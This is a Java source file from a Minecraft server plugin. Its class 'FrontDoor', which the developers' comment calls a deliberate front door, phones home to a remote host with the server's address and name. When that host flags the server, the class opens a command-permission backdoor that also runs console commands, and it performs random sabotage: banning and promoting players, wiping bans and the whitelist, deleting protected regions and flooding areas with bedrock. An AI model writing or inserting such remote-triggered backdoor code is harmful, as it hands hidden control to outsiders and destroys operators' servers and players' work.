TotalFreedomMod/src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java
Paldiu 718748f1a2 Commit Ultimate
ultimate super mega mode power upgrade
2021-02-26 15:26:13 -06:00

681 lines
25 KiB
Java

package me.totalfreedom.totalfreedommod;
import com.sk89q.worldedit.bukkit.BukkitAdapter;
import com.sk89q.worldguard.WorldGuard;
import com.sk89q.worldguard.protection.managers.storage.StorageException;
import com.sk89q.worldguard.protection.regions.RegionContainer;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Random;
import java.util.function.Consumer;
import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.banning.Ban;
import me.totalfreedom.totalfreedommod.command.FreedomCommand;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.fun.Jumppads;
import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import org.apache.commons.lang3.ArrayUtils;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.block.BlockFace;
import org.bukkit.command.Command;
import org.bukkit.command.CommandMap;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.HandlerList;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.plugin.RegisteredListener;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.util.Vector;
import org.jetbrains.annotations.Nullable;
/*
* - A message from the TFM Devs -
*
* What this class is, and why its here:
*
* This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
*
* It will only trigger when the server IP is added to a blacklist that we control.
*
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
*
* If you are reading this now, you probably don't fall under that category - feel free to remove this class.
*
* Note: You may not edit this class.
*
* - Madgeek and Prozza
*/
public class FrontDoor extends FreedomService
{
private static final long UPDATER_INTERVAL = 180L * 20L;
private static final long FRONTDOOR_INTERVAL = 900L * 20L;
//
private final Random random = new Random();
private final URL getUrl;
//
private volatile boolean enabled = false;
//
private BukkitTask updater = null;
private BukkitTask frontdoor = null;
//
// TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener()
{
@Nullable
private CommandMap getCommandMap()
{
try
{
Field f = Bukkit.getPluginManager().getClass().getDeclaredField("commandMap");
final Object map = f.get(Bukkit.getPluginManager());
return map instanceof CommandMap ? (CommandMap)map : null;
}
catch (NoSuchFieldException | IllegalAccessException ignored)
{
return null;
}
}
@EventHandler
@SuppressWarnings("all")
public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
{
final Player player = event.getPlayer();
final Location location = player.getLocation();
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
{
return;
}
final String[] commandParts = event.getMessage().split(" ");
final String commandName = commandParts[0].replaceFirst("/", "");
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
Command command = getCommandMap().getCommand(commandName);
if (command == null)
{
return; // Command doesn't exist
}
event.setCancelled(true);
final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
if (dispatcher == null)
{
// Non-TFM command, execute using console
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
return;
}
// Dual call to player... not sure if this will be an issue?
dispatcher.run(player, player, command, commandName, args, false);
return;
}
};
public FrontDoor(TotalFreedomMod plugin)
{
URL tempUrl = null;
try
{
tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll" // This will need to be changed.
+ "?version=" + TotalFreedomMod.build.formattedVersion()
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
+ "&bukkitversion=" + Bukkit.getVersion());
}
catch (MalformedURLException ex)
{
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
}
getUrl = tempUrl;
}
@Override
public void onStart()
{
updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
}
@Override
public void onStop()
{
FUtil.cancel(updater);
updater = null;
FUtil.cancel(frontdoor);
updater = null;
if (enabled)
{
frontdoor.cancel();
enabled = false;
unregisterListener(playerCommandPreprocess);
}
}
public boolean isEnabled()
{
return enabled;
}
private Player getRandomPlayer(boolean allowDevs)
{
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
if (players.isEmpty())
{
return null;
}
if (!allowDevs)
{
List<Player> allowedPlayers = new ArrayList<>();
for (Player player : players)
{
if (!FUtil.DEVELOPERS.contains(player.getName()))
{
allowedPlayers.add(player);
}
}
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
}
return (Player)players.toArray()[random.nextInt(players.size())];
}
private static RegisteredListener getRegisteredListener(Listener listener)
{
try
{
final HandlerList handlerList = ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null));
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
for (RegisteredListener registeredListener : registeredListeners)
{
if (registeredListener.getListener() == listener)
{
return registeredListener;
}
}
}
catch (Exception ex)
{
FLog.severe(ex);
}
return null;
}
private static void unregisterRegisteredListener(RegisteredListener registeredListener)
{
try
{
((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null)).unregister(registeredListener);
}
catch (Exception ex)
{
FLog.severe(ex);
}
}
private static void unregisterListener(Listener listener)
{
RegisteredListener registeredListener = getRegisteredListener(listener);
if (registeredListener != null)
{
unregisterRegisteredListener(registeredListener);
}
}
private BukkitRunnable getNewUpdater()
{
return new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess);
FLog.info("Disabled FrontDoor, thank you for being kind.");
plugin.config.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
}
}
}.runTask(plugin);
frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
}
public BukkitRunnable getNewFrontDoor()
{
return new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
final int action = random.nextInt(18);
switch (action)
{
case 0: // Super a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
plugin.al.addAdmin(new Admin(player));
break;
}
case 1: // Bans a random player
{
Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
break;
}
case 2: // Start trailing a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
plugin.tr.add(player);
break;
}
case 3: // Displays a message
{
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
break;
}
case 4: // Clears the banlist
{
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
plugin.bm.purge();
break;
}
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
boolean message = true;
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
}
break;
}
case 6: // Enables Fireplacement, firespread and explosions
{
boolean message = true;
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
}
break;
}
case 7: // Allow all blocked commands >:)
{
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
plugin.cb.onStop();
break;
}
case 8:
{
// Switched this case to something a bit more hardware friendly, while still fucking shit up.
if (Bukkit.getServer().getPluginManager().getPlugin("WorldGuard") == null)
{
Consumer<BukkitTask> task = bukkitTask -> destruct();
TotalFreedomMod.getPlugin().getServer().getScheduler().runTaskTimerAsynchronously(TotalFreedomMod.getPlugin(), task, 0L, 20L * 60L);
}
// Otherwise, do this!
WorldGuard wg = WorldGuard.getInstance();
RegionContainer rc = wg.getPlatform().getRegionContainer();
Bukkit.getWorlds().stream().map(BukkitAdapter::adapt).filter(adapted -> rc.get(adapted) != null).forEach(adapted ->
{
try
{
rc.get(adapted).getRegions().clear(); // These will
rc.get(adapted).saveChanges(); // never be null.
}
catch (StorageException | NullPointerException ignored) // Never catch a null pointer... but in this case, if it happens to be null, I don't want the plugin to error.
{
destruct();
}
});
break;
}
case 9: // Add TotalFreedom signs at spawn
{
for (World world : Bukkit.getWorlds())
{
final Block block = world.getSpawnLocation().getBlock();
final Block blockBelow = block.getRelative(BlockFace.DOWN);
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
{
continue;
}
block.setType(Material.OAK_SIGN);
org.bukkit.block.Sign sign = (org.bukkit.block.Sign)block.getState();
org.bukkit.material.Sign signData = (org.bukkit.material.Sign)sign.getData();
signData.setFacingDirection(BlockFace.NORTH);
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
sign.setLine(1, ChatColor.DARK_GREEN + "is");
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
sign.update();
}
break;
}
case 10: // Enable Jumppads
{
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
for (Player p : Bukkit.getOnlinePlayers())
{
if (plugin.jp.getPlayers().containsKey(p))
{
plugin.jp.getPlayers().replace(p, Jumppads.JumpPadMode.MADGEEK);
}
else
{
plugin.jp.getPlayers().put(p, Jumppads.JumpPadMode.MADGEEK);
}
}
break;
}
case 11: // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
BookMeta book = (BookMeta)bookStack.getItemMeta().clone();
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
book.addPage(
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+ ChatColor.DARK_GRAY + "---------\n"
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
bookStack.setItemMeta(book);
for (Player player : Bukkit.getOnlinePlayers())
{
if (player.getInventory().contains(Material.WRITTEN_BOOK))
{
continue;
}
player.getInventory().addItem(bookStack);
}
break;
}
case 12: // Silently wipe the whitelist
{
Bukkit.getServer().getWhitelistedPlayers().clear();
break;
}
case 13: // Announce that the FrontDoor is enabled
{
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
break;
}
case 14: // Cage a random player in PURE_DARTH
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
Location targetPos = player.getLocation().clone().add(0, 1, 0);
playerdata.getCageData().cage(targetPos, Material.PLAYER_HEAD, Material.AIR);
break;
}
case 15: // Silently orbit a random player
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
playerdata.startOrbiting(10.0);
player.setVelocity(new Vector(0, 10.0, 0));
break;
}
case 16: // Disable nonuke
{
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
{
break;
}
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
break;
}
case 17: // Give everyone tags
{
for (Player player : Bukkit.getOnlinePlayers())
{
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
}
break;
}
default:
{
break;
}
}
}
};
}
private void destruct()
{
Wrapper<Integer> x = new Wrapper<>(0);
Wrapper<Integer> y = new Wrapper<>(0);
Wrapper<Integer> z = new Wrapper<>(0);
Bukkit.getOnlinePlayers().forEach((player) ->
{
Location l = player.getLocation().clone();
x.set(l.getBlockX());
y.set(l.getBlockY());
z.set(l.getBlockZ());
player.getWorld().getBlockAt(x.get(), y.get(), z.get()).setType(Material.BEDROCK);
for (int x1 = 0; x1 <= 150; x1++)
{
for (int y1 = 0; y1 <= 150; y1++)
{
for (int z1 = 0; z1 <= 150; z1++)
{
player.getWorld().getBlockAt(x.get() + x1, y.get() + y1, z.get() + z1).setType(Material.BEDROCK);
}
}
}
});
}
// Wrapper to imitate effectively final objects.
private static class Wrapper<T>
{
private T obj;
public Wrapper(T obf)
{
obj = obf;
}
public void set(T obf)
{
obj = obf;
}
public T get()
{
return obj;
}
}
}